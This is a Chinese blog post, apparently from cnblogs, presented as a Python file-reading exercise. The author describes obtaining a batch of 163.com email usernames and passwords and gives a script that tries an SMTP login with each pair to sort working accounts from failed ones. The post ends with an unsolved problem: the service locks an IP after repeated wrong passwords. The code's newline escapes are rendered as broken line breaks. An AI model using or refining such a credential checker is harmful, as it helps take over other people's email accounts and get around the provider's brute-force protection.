• python实战===实现读取txt每一行的操作,账号密码


    最近搞到了一批163邮箱的账号和密码,但是里面有部分账号不能用,密码是错的。

    以此为背景

    人工手动挨个登录检查效率太低!

    于是写了下面这个脚本:

    import linecache
    import smtplib
    import time
    import linecache
    
    #算出txt的行数
    txt = open(r'F:163账号.txt','r')  
    data = txt.read()  
    txt.close()  
    n = data.count('
    ')
    print(n)
    
    i = 1    
    while True:
        if i <= n:
            print("===========================")
            line=linecache.getline(r'F:163账号.txt',i)
            #切片实现分离出账号和密码
            user = line.split("----")[0]
            password = line.split("----")[1].replace('
    ','')
            print(user)
            print(password)
            i+=1
            try:
                #发送邮箱的账号/密码
                smtpserver = "smtp.163.com"
                smtp = smtplib.SMTP()
                smtp.connect(smtpserver)
                smtp.login(user,password)
                print("邮箱登陆成功!")
                print("",(i-1),"行账号有效")
                time.sleep(3)
            except:print("账号无效***************************************",(i-1))
                
                time.sleep(3)
        else:
            print("结束")
            break
                    
            

    这样我就可以知道哪一行的账号密码是错误的了!

    但是问题来了,163邮箱对同一ip账号密码输错6次就锁定了。所以我在执行了20多行的时候,后面全部登录失败了!

    这个问题我现在还没解决。

  • 相关阅读:
    HDU 5319 Painter
    HDU 5328 Problem Killer
    HDU 5327 Olympiad
    HDU 5339 Untitled
    HDU 5335 Walk Out
    HDU 5317 RGCDQ
    HDU 5326 Work
    CF GYM 100703A Tea-drinking
    CF GYM 100703B Energy Saving
    CF GYM 100703F Game of words
  • 原文地址:https://www.cnblogs.com/botoo/p/7274685.html
Copyright © 2020-2023  润新知